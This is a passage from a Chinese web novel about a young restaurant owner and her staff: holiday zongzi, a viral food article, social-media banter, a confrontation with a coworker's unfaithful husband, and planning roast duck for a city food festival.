是绿茶，口味比较清新淡雅，刚好能够消除粽子带来的腻感，有助于消化。 江映槐喝了一口，觉得舒服了点，甜甜道：“谢谢师父！” 饭桌上，他们继续谈论其他话题，言笑晏晏，氛围很好。 中途陆母给陆向安打了一个电话，陆向安跟她聊了几句，又拍了张照发给陆母，言谈轻松，能看出来他们母子的感情很好。 饭局进行到后半段，他们几个人都聊得很开心，拿着茶杯在那里举着干杯。 期间，陆向安一个没注意，端着杯子的手有点不稳，洒出来点茶水弄到庄凝冬手上，庄凝冬还没说什么，江映槐就说了他几句。 陆向安：“……” 还好也没有骂很脏。 吃完饭后，江映槐帮忙收拾卫生，她忙里偷闲站在一旁看了眼手机，发现多出了几条入账消息。 她一顿，打开对话框想说点什么最终还是全都删掉了。 过节期间，夜晚比平时都要热闹。 奶奶和庄凝冬坐着聊了一会儿天，就说出门找陈婆婆玩去了，庄凝冬应了声，让她注意安全就随她去了。 庄凝冬拿出手机看了会儿，转头到只有他们几个的工作群里发了一个红包。 庄凝冬：[大家端午安康，忘了今天还没给大家发红包呢。] 江映槐：[谢谢师父！爱你么么么～] 季初曼：[端午安康，谢谢凝冬！] 陆向安：[谢谢老板！这是我第一次收到老板发的红包。] 江映槐：[出息。] 庄凝冬看着他们聊天，面色柔和，随后她切换了软件，才发现陆向安今天也在庄记的账号上发了微博—— [@庄记饭馆：端午节，没什么好祝福的，那就祝我像咸蛋黄粽子一样富得流油吧！] 配图有九张，有些是平时庄凝冬她们几个在忙活的一些景象，被陆向安随手拍了下来，这就派上用场了。 除此之外，还有打包好摆放得整整齐齐的礼盒图，以及放在最中间的咸蛋黄粽子的横切面。 里面的蛋黄往外汨汨流出澄黄的油脂，亮晶晶的，看着就让人食欲大增。 还真是应了文案那“流油”。 底下是网友的评论—— [谢谢祝……等等，为什么是祝你？不应该是你祝大家吗？真服了你小子了。] [意料之中的抽象文案，你就不能正经一次？] [他仅有的一次正经在老板毕业的那条动态上。] [富得流油这个祝福还是留着给我们大伙吧，我们倒是可以祝你像咸蛋黄粽子一样黄。] 这条评论被陆向安回复了：[@庄记饭馆：……这位网友，请注意你的言辞。] 有网友注意到那一盒盒摆放的特整齐的礼盒，两眼放光：[哇/星星眼，这就是提前准备好卖给我们的粽子吗？有心了。] 陆向安回复：[@庄记饭馆：emmm……不是，那是给我们员工的，你们的没拍。] [？？？？] [@庄记饭馆：噢你们应该不知道吧，我们老板给我们每个人都派了一盒粽子，什么口味都有，特别好吃。] [@庄记饭馆：其实发给我一盒粽子也没什么用，平时都在店里吃，只能放到冰箱冰着等放假再吃了。] [@庄记饭馆：噢对了，除了这一盒粽子，我们老板还给我们发了大红包，大家都有，根本不用抢。] 陆向安一共回了三条，每一条都给了网友重重的暴击，他们实在忍不了了—— [谁问你了？？？？] [啊啊啊能不能换一个运营，嫉妒让我失去理智！] [没事的，大家放平心态，你们想想，他端午节还在加班呢。] [@庄记饭馆：提醒我了，刚忘了说（炫耀），我加班三倍工资。] [？？？？？] [没事……没个屁事！有事我有事！其他的我都忍了，节假日加班三倍工资这个我是真的嫉妒了啊啊啊啊，同是打工人，我怎么那么苦。] [端午节在加班还没三倍工资的人破防了，这垃圾加班时长还只能拿去换调休：）] [等我实在在这儿待不下去了，我就去庄记应聘了，待遇居然那么好呜呜呜。] [懂事的人已经打开庄记的招聘信息了，发现只招厨子，厨房小白狠狠落泪，就没有一些别的岗位吗？比如端茶倒水什么的我都可以的！] …… 庄凝冬看到这儿，想起来之前挂了好久的招厨子信息，期间倒是面了几个，不过都不太行。 庄凝冬又打开了招聘后台，挑了几个约了端午后面试。 * 其实除了江映槐他们三个，庄凝冬还给钟盼、陈玉珍他们几个供应商送了粽子。 晚上，钟盼和钟母也吃了粽子，隔壁邻居过来还前几天借用过的东西。 显然也闻见了浓浓的粽子香：“好香啊，你们是在吃粽子吗？” 钟母笑了笑：“是啊，这是跟我们合作的那个饭店老板送的，可香了，你也拿个回去尝尝呗。” 闻言，钟盼率先起身拿了两只塞到邻居怀里。 邻居知道她们家跟了一家饭馆合作，只是没想到待遇还挺好，跟她女儿的公司一样，居然还会发粽子。 邻居腼腆笑笑：“这怎么好意思呢？” 钟盼：“确定不要吗？这个粽子口感香香糯糯，糯米里可是吸满了香浓的猪油脂哦～” 邻居光是想想那剔透的猪油就有点受不了了，她咽了咽口水：“那我就不客气了。” 邻居回到家，连忙加热拆开招呼着一家人过来吃。 钟盼给了一只咸蛋黄粽和猪肉粽。 粽子的糯米部分口感非常紧实，嚼起来韧韧的，流油的咸蛋黄又润又咸，味道很足，沙沙的很绵密细腻。 吃的时候偶尔还能尝到虾米和干贝，是格外让人惊喜的存在，让其口感变得更为丰富。 “这也太好吃了吧，妈，你怎么出趟门回来手里就多了两个粽子了？哪里顺的？是他们自己做的吗？” “真的太好吃了，特别是猪肉粽，这五花贼带劲啊，瞧瞧这一层肥一层瘦相间的，忒勾人！香乎软绵，瘦的部分又不柴，入口即化，好吃极了。” 邻居：“是钟盼她们一家给的，不过她们也不是自己做的，是跟她们合作的那家饭店老板给的，估计就是那老板自己做的吧，据说手艺好得很。” “是哪家店啊？这个粽子真的好好吃，我感觉我们可以去买点来吃。” 邻居：“钟盼之前有跟我讲过，不过当时我不太在意，已经忘了是哪了，等我去问问钟盼就去买。” …… 另一头，陈玉珍和她老公王德也在吃着庄凝冬给的粽子。 王德的厂里也给发了粽子。 他们想两种都尝尝，于是都弄了一点来吃。 结果就是…… 王德先吃了庄凝冬给的，再吃一口厂里发的，难受得让他直接吐了出来。 “呸，这什么玩意儿，也太难吃了吧？好柴的肉，比干树皮还要难啃。” 整一个流水线粗制滥造，跟人家一个个精心调配过的馅料再用手包的完全不一样。 王德觉得自己的嘴都被污染了，赶紧喝了一大口水，然后猛吃了好几口庄凝冬给的粽子，这才缓了过来。 陈玉珍还没吃，笑他有那么夸张么，以前再难吃都不过来了。 然后她边吃边尝了下，厂里的粽子才触碰到舌尖，都不到三秒，就被吐了出来。 王德一看，取笑她：“嘿，还说我呢。” “这……这属实差太多了。” 陈玉珍没想到，自己也是体会了一把由奢入俭。 怪不得都说由奢入俭难，这也太难了。 最后，王德厂里发的粽子就被搁到了一旁，再也没被吃过。 * 那头黄妙彤放假，跟家里人吃完晚饭后就出去逛了逛。 到挺晚才回来。 她洗漱完，躺回被窝里，按照惯例，睡前刷着小视频。 然后，上方弹出一条同事发给她的消息—— [彤彤，快看！！！你发的那篇关于粽子的文章火了！！] 第62章 第62章 嗯？什么火了？ 那篇关于粽子的文章……！！！ 看清消息后，黄妙彤瞬间一个鲤鱼打挺坐了起来。 她刚想切到公众号去看，却发现同事很上道地给她发了文章链接过来。 黄妙彤激动地点进去，拖到最底下，看到左下角那里，阅读量已经有五万多了。 黄妙彤……！！ 天哪！五万！ 要知道他们平时发的推文，阅读量最多也就好几千。 他们这个公众号是溪城官方的，平时做的内容都是关于溪城的一些记录。 人们很少会每期都看，只有那么几期有关溪城的重要改动或者发生了很有意思的事，推文的阅读量才会高点之外，其余都平平无奇。 五万这个阅读量，对他们来说真的是大爆了。 黄妙彤不敢再奢求更多，她连忙爬起来登进公众号后台。 这个美食栏目是对美食作科普，所以从开篇起，黄妙彤就先讲述了粽子的起源以及距今的发展历史，文字比较趣味生动，读起来流畅。 还附带了一些小故事，倒是吸引了不少人读下去。 然而更吸引人的，还是对粽子的制作、成品以及相关口味的描述，还有那穿插在其中的粽子图片。 拍摄的手法和构图很专业，色调分明清新，粽子是从中间切开的，内馅横截面就这样清晰地展露出来。 一整颗咸蛋黄黄澄澄的，新鲜得流油，仿佛只要在捏一捏软弹的粽子，中间就会溢出更多澄黄的油脂，隔着屏幕都让人忍不住流口水。 小小的虾米和干贝也露出一角，用料丰富到让人羡慕，恨不得立马从屏幕里把粽子抠出来吃掉。 猪肉粽子的肥肉部分也晶亮晶亮的，剔透得不行，瘦肉部分的纹理清晰，表面光滑，看上去就很嫩。 后台的评论全是被馋得嗷嗷叫的。 黄妙彤筛选了一些用户评论放上去： [这篇推文写得不错哎，有被前面的历史起源科普到，给小编奖励一个鸡腿/比心，还有后面的粽子图片看着也好有食欲啊，味道真有描述得那么好吃吗？半夜看得我好馋好馋。] [这个粽子真的绝了绝了，从咸蛋黄里溢出来的那一抹黄油，着实太勾人了，光看着就已经能想象到咸蛋黄那沙沙的口感了，本来还想睡觉的，结果现在已经饿得睡不着了，等我有钱我一定要买个能闻着味儿的手机。] [因为这篇推文去翻了翻过往的每期美食栏目，发现都挺有意思的，有被科普到，关注了，希望能多多拓展在美食方面知识。] [礼貌问问，这个粽子的图片是小编自己拍的吗？还是在网上随便找的？没别的意思，只是作为溪城人，我实在不知道溪城哪里有看上去那么好吃的粽子。] 不怪网友这样问，有很多公众号的推文图片就是从别处搜来的。 虽然之前接手这个栏目的时候，组长也说了可以去别的地方拿图，反正也没什么人看，还能减轻一下工作负担。 但是黄妙彤没有。 只要是她负责的，图偏都是自己拍的。 黄妙彤用公众号回复那个人：[是小编自己拍的哦，粽子也是现买哒，就在朝丰街的一家饭馆～] [卧槽卧槽！我说怎么那么眼熟，果然是在庄记买的，小编好眼光！庄记的东西超级好吃的，难得出来这么一家神仙饭馆，简直是溪城之光！必须强推！已经转发到家族群了。] 又有网友问：[既然文中提到了粽子的口味有咸甜之分，那为什么图片只有咸粽子没有甜粽子，小编是偏心的咸粽子党吗？好好奇甜粽子的口味，是不是也比普通的甜粽子好吃……] 黄妙彤：[虽然小编从小就吃咸粽子长大，但还是尊重各地的文化饮食哦，至于不放甜粽图，要怪就怪那个饭馆的限购吧，每人只能买一盒，买了咸粽子就买不了甜粽子辽～] …… 同样作为夜猫子的谭清莹此时也没睡着，她刚好关注了溪城的那个公众号。 作为美食爱好者，她记得那个公众号有个美食栏目。 好像也到时间更新了。 谭清莹想着，点了进去。 果然更新了。 她直接点开推文。 是一期关于粽子的科普。 刚好端午节，谭清莹自己晚上也还吃着粽子。 还蛮应景的。 谭清莹大致地浏览着，将那些起源小故事看得津津有味。 等看到图片的时候，她才发觉有点眼熟。 这盒子，这粽子外形，这粽子馅料…… 这不就是庄记那个粽子吗？！ 好家伙，联动上了，双厨狂喜！ 谭清莹反手把它转发给了何筝：[快看！这一期介绍了庄记的粽子！快快点赞转发！必须支！] 谭清莹转发完，继续看着评论，发现有人问甜粽子。 嘿，好巧不巧，她就买了甜粽子来吃。 谭清莹虽然是溪城本地人，但她对美食的包容程度高，吃惯了咸的，但也想吃甜的。 刚好家里人除了她都吃不惯，她还能独吞呢嘿嘿。 虽然不知道自己的评论会不会被选上展示出去，但谭清莹还是在下方敲下自己想说的话： [我也是溪城本地人，我就买了甜粽子来吃，庄记的甜粽子有两种馅料，一是豆沙馅，二是红豆蜜枣馅。 豆沙馅的口感很绵密，香味也十足，弄开粽子的时候能闻到一股浓浓的红豆香扑面而来，香香的，甜甜的，而且不会很甜腻，总之跟黏黏的糯米搭配在一起，超级好吃的。 红豆蜜枣馅的话，红豆是整颗整颗的，颗粒感很强，口感粒粒分明，嚼碎的时候能吃到内里粉粉的红豆香，和豆沙是两种不一样的口感，蜜枣的话，软嫩甜蜜，枣肉煮烂到跟果酱差不多的口味，是整个粽子的甜度来源，跟红豆搭配在一起吃，红豆香和枣香交织，香甜粉糯，好吃到我恨不得连粽叶都一起吃了。 真的，不管喜欢吃甜粽还是咸粽的人都不能错过，不然后悔一辈子！] 谭清莹发完，等了一会儿再刷新评论区，意外发现自己的评论竟然被选出去展示了！ 她连忙截图发给何筝，让她给自己的评论点赞。 然后又发到了家族群、同事群……只要同样是庄记的爱好者，都躲不过她的推文轰炸。 不过，谭清莹的那些家人朋友也很给力，看完后都点了个赞，有些人甚至还转发到了朋友圈里…… 深夜，正是夜猫子活跃的时间段。 那篇推文就这样以一传十十传百的速度传开了…… 溪城的某个角落，青年人躺在床上，打算刷完朋友圈更新就去睡觉。 朋友圈转发的那些推文他向来是不看的。 因为有好多都是朋友的工作内容，比较官方，没娱乐性他就不太感兴趣。 他刚跳过一条推文，然后就发现了一个怪象—— 往下的好几条动态都是推文，而且还明显都是同一条推文。 这是怎么回事？？ 青年顿感疑惑，点进去准备一探究竟。 “这个历史起源，写得还行吧，看得出来有用心查过资料，挺好的。” “小故事还描述得挺生动有趣的哎，文字水平可以。” “靠，这个粽子拍得太让人食欲大增了吧，瞧瞧着莹润且光泽感强烈的糯米，粒粒饱满啊，最馋人的还是那黄黄的油脂，欲滴不滴的模样真的太太太绝了，好想把它舔掉……” “猪肉馅看起来也不错哎，这层层相间的五花，一看就入口即化，已经能想象到喷香的味道在口腔中化开的感觉了，啊啊啊大半夜的看得也太饿了吧！！受不了了！” 青年的肚子霎时发出咕噜噜的叫声。 “靠！饿了！” 青年又看了看底下评论，发现这图片竟然是实拍而不是合成的，而且粽子还是在溪城饭馆买的。 溪城居然还有这样的神仙饭馆？！ 要不是现在人家不开门，他真想立马飞奔过去！ 唉。 青年放下手机强迫自己入睡，却发现肚子一直在抗议。 实在顶不住之后，他终于起来煮了个泡面。 他最近在减肥，现在深夜嗦泡面却嗦得有滋有味，罪恶感十足。 两秒后，青年掏出了手机，开始将那篇推文转发到群里、朋友圈里。 既然他被馋到了，那他也要去馋馋那群夜猫子。 总不能让他一个人遭罪！ 半夜被馋到的人，大部分都怀着这个想法，也纷纷将推文转发。 于是，就连不少外地的人，都看到了这篇公众号…… * 第二天，黄妙彤的组长一觉醒来后看到小组工作群好几百条的消息，人都傻了。 他们这是出去嗨喝醉了，把工作群当娱乐群发疯了？ 组长点开查阅信息，才发现原来是黄妙彤负责的那个美食栏目的一篇推文爆了。 看一眼数据，阅读量、点赞和在看都已经显示十万加。 哦，十万加。 等等！多少……十万加！！！ 组长整个人彻底醒过来了。 十万加！ 天知道他们之前的推文最多也就好几千的阅读量啊，点赞和在看更是少得可怜，只有寥寥无几。 哪见过这种空前绝后的景象。 组长石化了，这才发现原来从昨晚开始，那群人就一直守着看这偏推文的数据。 各种尖叫，感叹号，表情包全都派上用场。 组长第一次感觉到，原来文字是可以吵到眼睛的。 她虽然也欣喜，但总比这群小年轻要稳重。 组长看完推文，又去看了眼公众号，才发现公众号的粉丝也被这篇推文带得呈指数式上涨，以前发过的美食栏目推文数据也被带起来了点，除此之外，还有其他栏目的推文数据也有被带动。！！！ 尽管不太多，但总归是好的。 黄妙彤这次做得好，组长在工作群编辑了一条信息好好夸奖了她一下。 黄妙彤醒来看到后回复：[谢谢组长，我会继续努力加油的，请问科普美食这个栏目还会被砍吗？TVT] 之前组长就有意无意跟他们说过，其他人听了就听了，也不太在意，因为现在负责这个栏目的是黄妙彤。 不过他们都认为是好事，也安慰过黄妙彤，说少了这个栏目也不是坏事，正好省了不少工作，反正也没什么人看，还能让自己轻松点。 但现在…… 看的人变多了。 组长：[不砍了不砍了，这一期的数据难得这么好，他们明显都是为了美食而来的，不仅不砍，往后可能还要多加几期呢，到时候可就得辛苦你了。] 难得爆了一期，傻子才会砍呢。 黄妙彤本身就对美食这个栏目情有独钟。 毕竟这是一众枯燥无味的官方工作里，唯一一个比较有趣、可以放松的栏目了。 她听到这个消息自然是高兴的。 黄妙彤：[太好了！放心吧组长，我一定会好好做的！] 组长除了口头的加油，还另外给黄妙彤记了一笔奖金，到下个月和工资一起发放。 收到钱的黄妙彤更开心，工作更有干劲了！ 不禁想到这次给她带来好运的庄记饭馆。 里面好像还有其他菜式。 那往后几期都可以做它家的美食科普哎！ …… * 端午假期第二天，来上班的陆向安跟往常一样，先打开电脑对各平台的官号数据做了一波分析。 他看到庄凝冬后，突然想起一件事，便走过去对她说道：“老板，你有看到那篇推文吗？” “什么推文？”庄凝冬疑惑。 “你没看到啊？就是有个公众号，用咱们店里的粽子写了一篇文章。”陆向安当即拿出手机，打开相关内容，给她瞧了瞧：“看，就是这个，写得还挺好的，底下评论还有好多吃过咱们家的顾客，评价反响都非常好。” 庄凝冬就着陆向安手机把文章看了一遍，确实都挺好的，不然估计也不会被那么多人看到。 庄凝冬继续往下看，这才发现推文的阅读量、点赞和在看也到了十万加。 陆向安继续说：“我记得咱们店没注册有公众号吧？要不要注册一下？这不得接住这泼天的富贵？” 庄凝冬想了想，虽然现在店里已经足够多人了，但，如果能有更多人知道庄记的话，也不失为一件好事。 她点点头：“好，那这个工作就交给你了。” “包在我身上，”陆向安现在管理各个账号是异常上手，甚至积极地给自己揽活，“要不顺便也在‘大蓝本’上注册一个账号？” 庄凝冬：“可以。” “好的。” 注册号是之后的工作，当务之急还是得先把粽子包了。 陆向安连忙放好手机，进了后厨帮忙。 中午，江映槐才看到那篇推文，她也随手点了个转发，然后去看那个公众号过往的消息。 不知道看到什么，她忽然眼睛一亮：“师父你快看！美食节！” 庄凝冬闻言，凑过去看了眼。 原来是溪城政府联合其他赞助商一并举办的美食节，参与美食节摆摊的必须有营业执照，这就意味着这次的美食摊主是对已有店面的群体进行招揽。 在美食节期间，由顾客投选出来的前三名，都可以获得被本地电视台报道的机会。 也就是，能上电视。 “可以上电视哎！”江映槐来了兴致。 庄凝冬问：“想参加？” “我觉得可以参加啊，好好争取一下嘛，我觉得上电视还挺有意思的。” 陆向安提醒：“上电视可不能骂人。” 江映槐：“……就你有嘴？” 习惯了他们的日常斗嘴，庄凝冬在一旁轻笑：“是可以参加，那我们报名吧。” 虽然不一定能获得前三名，但美食节听上去就挺有意思的，庄凝冬也有点感兴趣。 要是最后侥幸得到上电视的机会，还能好好宣传一下庄记。 总归没有坏处。 庄凝冬和江映槐正低头看着报名方式流程，还有美食节的规则。 陆向安本来在搞着账号那些事，但他注意到有个男人在那站了很久，一直不停地往店里看。 怪怪的。 不会是来找事的吧？ 陆向安想到自己作为店里唯一一个男性，怎么也得man起来。 于是，他起身去到那个男人面前，问：“请问您有事吗？如果没事的话……” 男人打断他：“我找季初曼。” 第63章 第63章 男人脸上带着笑，看着没什么攻击性的模样。 陆向安愣了愣，便点了点头留下句“稍等，我帮你去喊”然后就进了里屋。 季初曼刚从里头卫生间出来就听见陆向安对自己说“初曼姐，外头有人找”。 “好我知道了。”季初曼往外走去，唇角在看清男人的脸后一僵，神色当即垮了下来。 是卫默。 他居然找到这里来了。 季初曼快步走了出去，明显不想让他在这多待：“你来这里做什么？” 卫默脸上带笑，仿佛他们之间什么也没发生过一样：“我中午做了点吃，送来给你尝尝。” 季初曼现在看见他就觉得烦，更是觉得他跟垃圾一样脏，在他靠过来时不动声色地退了几步。 “我之前已经跟你说得很清楚了。”季初曼冷声道：“我们之间没什么好说的，离婚的事你不同意也得同意。” 早在前段时间，季初曼就已经跟他提了离婚，并且称自己手里掌握了证据，在谈判时要求对方多赔偿。 卫默一开始还在狡辩说自己没出轨，直到季初曼亮出了一些证据才老实，不过在他确定季初曼掌握证据后更不可能离婚了。 现在他们住的房子就是写的季初曼的名字，当初买的时候卫默也没出什么钱，离了之后更不可能判给他。 还有其他零零散散的财产分配，怎么想都是他血亏。 这婚是绝对不能离的。 于是，卫默慌乱过后想出了新法子，那就是认错服软。 这段时间他也不敢再跟小三来往了，表示自己会改，还经常在季初曼面前刷着存在感。 这不，现在又来送吃的来了。 “老婆你不要那么绝情行不行，我只不过是犯了天底下所有男人都会犯的错，就这么一次，重新给我一个机会行不行？往后我一定会好好对你和圆圆的，你也不想圆圆这么小就没有爸爸吧？” 卫默无视季初曼说的话，自顾自打着感情牌。 季初曼听得直冷笑。 她当然不会以为卫默的心还在她身上，他这样不过是为了自己的利益罢了。 只是有时候确实蛮讽刺的，就连拍马屁讨好人都讨不到点子上。 他不是不知道自己在饭馆工作，也不是不知道自己的饭馆包吃。 就这样还要拿自己做的东西来。 真是在大夏天送棉袄，一点卵用都没有。 再者，也不知道他哪来的自信，是觉得自己会舍弃饭馆里的美味选择吃他的东西吗？ 真挺可笑的。 “别跟我提圆圆，”季初曼语气毫无温度，“相较于让圆圆一直有一个没有能耐、一点儿也不干净的肮脏废物爸爸，我更宁愿她从小就没有爸爸，你说你这种人给小孩当爸爸有什么用呢？” “你不想离婚的话也没办法，轮不到你不想，法院那边的人会好好跟你说的。” 季初曼说完，正要转身走，结果被卫默拉住手臂。 他目眦欲裂地怒视着季初曼，显然已经被激怒。 “你别给脸不要脸！既然你想打官司，那就打，你别以为我怕你！就你这些年什么工作也没干，全靠我养着你的废物，现在还来了这么个破饭馆工作，有钱打官司么？别到最后还落了个来求我放过你的下场。” 他说着，手上的劲越来越大。 季初曼挣不开，就在此时，陆向安他们从里面走了出来。 “放手！你干什么呢？光天化日之下还想动手不成？” 陆向安说着撸起了袖子，露出自己的肌肉，比卫默的有料。 卫默识相地松了手，季初曼忙走回了他们那边。 庄凝冬关切道：“没事吧？” 季初曼摇了摇头：“没事，让你们见笑了。” 刚刚在屋子里面，庄凝冬他们就觉得不太对劲了，但由于季初曼又没怎么样，别人的私事他们这些外人也不好插手，只能在一旁偷偷观摩着情况。 谁知道这男的还想动手。 这可就不能忍了啊。 从男人那句“我只不过是犯了天底下所有男人都会犯的错”，大概就能猜出季初曼和他之间的事了。 也真是够恶心的。 陆向安率先开喷：“你真够傻逼的，自己管不住下。半。身，扯尼玛的天底下所有男人，谁他妈跟你一样啊傻逼，精。虫。上。脑的恶心玩意，老子可不背这个锅，别来给我们男同胞丢脸了，自己开除男籍吧。” 江映槐也将他骂了一顿：“说我们这是破饭馆？！你又是什么破垃圾，也配点评上了？拎着个保温盒跟来要饭似的，看见你我就倒胃口，一个小破出轨男，还敢理直气壮地找上门来，就现在，赶紧给我滚，看见你就想吐！” 这个动静引来了不少人在附近围观，已经有大叔大婶在对他指指点点了。 卫默被骂得脖子都涨成了猪肝色，他想骂回去，但是对方人多，情形对他十分不利。 况且，他更难以忍受被其他人指着骂。 他哪里受过这种委屈，在公司都是被阿谀奉承的那一个。 卫默实在顶不住了，怂包地留下一句“你们给我等着”就灰溜溜地走了。 “再滚慢一点腿给你打折了！呸，晦气东西！” 江映槐冲着卫默的背影骂了句。 人潮渐渐散去。 庄凝冬他们重新坐回屋子里头。 “初曼姐，你这段时间精神不好就是因为这件事吗？”庄凝冬低头思忖了一会儿，问道。 眼下这情况，瞒不住，也没必要瞒。 季初曼点了点头：“我一开始跟他说离婚，他不同意，这段时间总是来骚扰我，我觉得很烦，所以就没休息好，刚刚真是太谢谢你们了。” “客气，我们也是实在看不下去他这种人。”陆向安说。 江映槐：“初曼姐，他这种人不值得你费心，可别因为他伤到了身子啊，日后他再骚扰你就报警吧。” 奶奶也罕见地生起气来：“怎么会有这样的男人，真是做得太过分了！他这样对得起谁？一点责任心也没有，实在是枉为人！初曼，你也不要太伤心了。” 被众人这么一关心，季初曼心里淌过一阵暖流：“放心吧，我不会因为这种垃圾感到伤心难过的额，我已经请求法律援助了，这婚，他只能离。” 庄凝冬想起方才听到的话，那个男的说季初曼好几年没工作，又怎样怎样，总之就是说她现在没钱跟他耗的意思。 庄凝冬想了想，温声道：“初曼姐，你别怕，有什么需要帮助的地方尽管找我，我可以给你资金支持的，就大胆跟他耗，可不能让他这种人赢了。” 陆向安：“……我一个还没毕业的大学生，钱是没多少，要真缺的话，我也是能拿出一点的，还能提供武力支持。” “……这没你什么事了，玩去吧。”江映槐怼了下陆向安就跟季初曼说，“我除了给你提供资金支持，还能给你提供专业的律师团。” 原本还有点意见的陆向安听见后面这句话，瞬间噤声。 这同事……是不是太牛逼了点？ 事情发展到现在这样，季初曼也没客气扭捏了，一一道过谢，表示后续不管有什么进展都会跟他们说的，免得让他们担心。 季初曼的事情结束后，他们的话题很快从如果找男人的话一定要擦亮双眼，然后转到庄凝冬有没有男朋友身上。 庄凝冬也不知道为什么事件中心的角色会变成自己，她懵懵的，却也老实答道：“没有，我没谈过恋爱。” 陆向安：“真的假的？就你这张脸，肯定少不了追求者。” 庄凝冬还没习惯把自己放在这种话题的中心位置上，脸上有点发烫。 奶奶也对自己的孙女好奇：“真没谈过？” 庄凝冬：“真没有。” “那有没有喜欢的？”江映槐可紧张她师父了，在她看来，目前就没看到有能配得上她师父的人，不管是从哪方面来说，都配不上。 她师父就是最好的！ “要是你有喜欢的人，可得说出来，让我们帮你把把关啊，人品不行的话可就不能继续喜欢了。”江映槐说。 喜欢的人…… 庄凝冬脑海中不自觉浮现过一个人的身影。 很快，她从中抽离出来。 在想什么呢，都不在一个地方了。 “没有。”庄凝冬在这个话题上，越来越不自在，她果断扯开：“就不要一直说我了吧，这话题没什么好聊的，还不如多看几遍美食节的规则呢，我们不是还要报名吗？” 见庄凝冬这样，江映槐倒是放心了很多。 心中无男人，挣钱自然神。 “对，美食节报名。” …… 这件事就不知不觉被扯了过去。 议论的中心变成了美食节。 美食节距离正式开始还有二十天左右，现在还在报名阶段，庄凝冬跟江映槐一起研究了一下，把名报上去就开始定美食节要售卖的东西了。 官方对美食节上商家要售卖的东西倒是不作要求。 庄凝冬想了想，觉得卖烤鸭。 “烤鸭？”陆向安说出了心里的担忧：“烤鸭的话会腻吗？美食节上各式各样的美食非常多，人们经常这里吃一点那里吃一点，可能都等不到来到我们的摊位就已经吃饱了，对后续顾客投票会不会有影响？” 江映槐算是庄凝冬的无条件支持者：“以师父的手艺，还用担心这个吗？” 陆向安：“……” “不用担心，我心里有分寸。”庄凝冬让陆向安放下心来。 到时候可以搞个炉子在摊位那里，现烤现卖。 既然店主都发话了，陆向安当然没意见了。 他点点头：“好，说不定到时候我们抽签抽到最好的位置，那样就不用担心顾客吃饱了才来到我们的摊位上了。” 江映槐猛地看过去：“你别毒奶！到时候要是位置不好我就鲨了你！” 陆向安：“……” * 决定好要做烤鸭，庄凝冬先去买了个炉子，然后去了趟菜市场，买了几只质量较好的新鲜鸭子，再买来一些果木，就率先做来试试了。 烤鸭是用挂炉烤的，鸭子被吊着挂进炉子里，需要时不时变换位置，让鸭子的每一处都受到均匀的火烤，这样才能使得烤出来的鸭子色泽匀称，表面光泽强，颜色红亮泛光。 而使用果木柴烤，则可以让鸭子充满淡淡的果香味，能让其味道更上一层楼。 除此之外，被果木烤制过的鸭子，还具有一鸭两吃的方法，鸭肉可以卷着其他配菜沾着酱料吃，鸭骨则可以用来熬汤，更美味。 烤制过程中，果木的清香和鸭子的香味结合在一起，随着时间的流逝，变得愈发浓郁。 江映槐闻着这股香甜的气味，馋得刀都拿不稳了。 她跑过去：“好香好香，闻着好饿，饿得我都没力气练刀工了。” 季初曼：“我也是，饿得都没力气干活了。” 庄凝冬笑了笑：“忍忍，很快就烤好了。” 这个烤鸭就连在外头陆向安都把香得受不了了，放下鼠标就进了后厨。 他看着圆炉子，虽然看不到里面的场景，但那股香味是越来越浓郁。 陆向安咽了咽口水：“老板，这就是你说的烤鸭吗？对不起，之前是我声音大了，就这香味，就算抽到再垃圾的位置都能把顾客吸引过来吧。” 不出意料，他又收到了江映槐的瞪眼：“都说了让你别毒奶。” “……”陆向安连忙给嘴巴做了个拉拉链的动作，老实闭嘴了。 开始只能光闻着味儿，等鸭子烤好，庄凝冬用工具将它们提溜出来时，那才是真正的暴击。 经过长时间的烤制，鸭子的油脂滋滋冒出，表皮受热变得紧致红亮，通体油亮亮的，极富光泽感。 这正宗的枣红色，不要太绝！ 江映槐他们三人以及在小板凳上坐着的奶奶都不由得看呆了。 好正的颜色，好诱人，表皮就像像抹上了油，不但不腻，还格外勾人。 等它们稍微凉了点，庄凝冬才带着手套，拿起刀，迅速快捷地将它们一片片切下来。 每一片的厚度都很非常均匀，江映槐看着，目光就是一把尺这句话在这一刻具象化了。 虽然现在是他们自己吃，但庄凝冬也很有仪式感地给这份烤鸭摆了盘。 陆向安看着，手痒了，拿出手机拍了下就问：“老板，这个图我可以发到网上给他们看吗？算不算涉及到什么泄露新品机密啥的？” 庄凝冬：“没事，你想发就发吧，不过现在距离美食节还有一段时间，我就怕他们忍不了那么久。” 江映槐：“啊？可以给顾客们透露啊，早知道上次直播我就把点心做完了。” 庄凝冬问：“什么直播？” “其实也不是什么大事……江映槐把前段时间小长假直播给她的粉丝们做了一顶绿帽子的事简单说了一下。 庄凝冬笑了笑，不再说话。 陆向安则美滋滋地编辑着文案信息，带上图片，发表—— [在这个慵懒惬意的午间，是谁在尝新品了？哦，原来是我。] 配图是刚拍好的烤鸭，片片厚薄均匀，规整摆着，金黄的皮下是鲜嫩的肉质。 表皮上的那个光泽感，仿佛隔着屏幕都能感受到它的酥香。 刷到这条动态的顾客们……？？ 做个人吧！ 第64章 第64章 [虽然招了一个运营之后，是好了很多，至起码一些店铺的日常我们都能看到，但是，能不能换个好一点的运营？！这也太欠了！好气好想打他！] [退一万步来讲，这个运营就不能由我来当吗？] [这是什么？是烤鸭吗还是烧鹅？这晶莹剔透的薄皮，好酥的样子，馋死我了馋死我了。] [@庄记饭馆：是烤鸭。] [我是美食鉴赏官，我一眼就看出这份烤鸭有很大问题，建议寄过来让我尝尝，好让我给出更客观的提议，方便改进。] [这算盘打得我都听见了！] [说那么多，倒是说说烤鸭什么时候上啊！要被馋疯了，好想马上就吃到。] 美食节会有很多其他商家参加，陆向安怕被竞争对手盯上，所以没在评论里提美食节的事，并且模糊了时间：[还要一段时间，你们就先忍着吧。] [？？？是人吗？既然还要一段时间，为什么提前那么早发出来，我们的命就不是命吗TAT] 有顾客反应很敏锐：[之前上新品都是很快的，这次为什么要那么久？] [也许是因为烤鸭的火候难把控，需要多实操对比吧。] [有道理。] …… 看着他们在那里猜，反正没猜到点上，陆向安便也就没管了。 重新回到桌子前，除了刚刚的摆了整碟的烤鸭片，还放了其他配菜：薄且透亮的卷饼皮，切成丝的黄瓜和葱，还有甜面酱、白砂糖。 陆向安“哇”了一声，等不及了，先拿起一片饼皮摊在手心，夹了几片烤鸭肉放进去，再加上青瓜丝、葱丝和甜面酱，卷起来，一口咬了下去。 随后，他眼睛蓦地睁大。 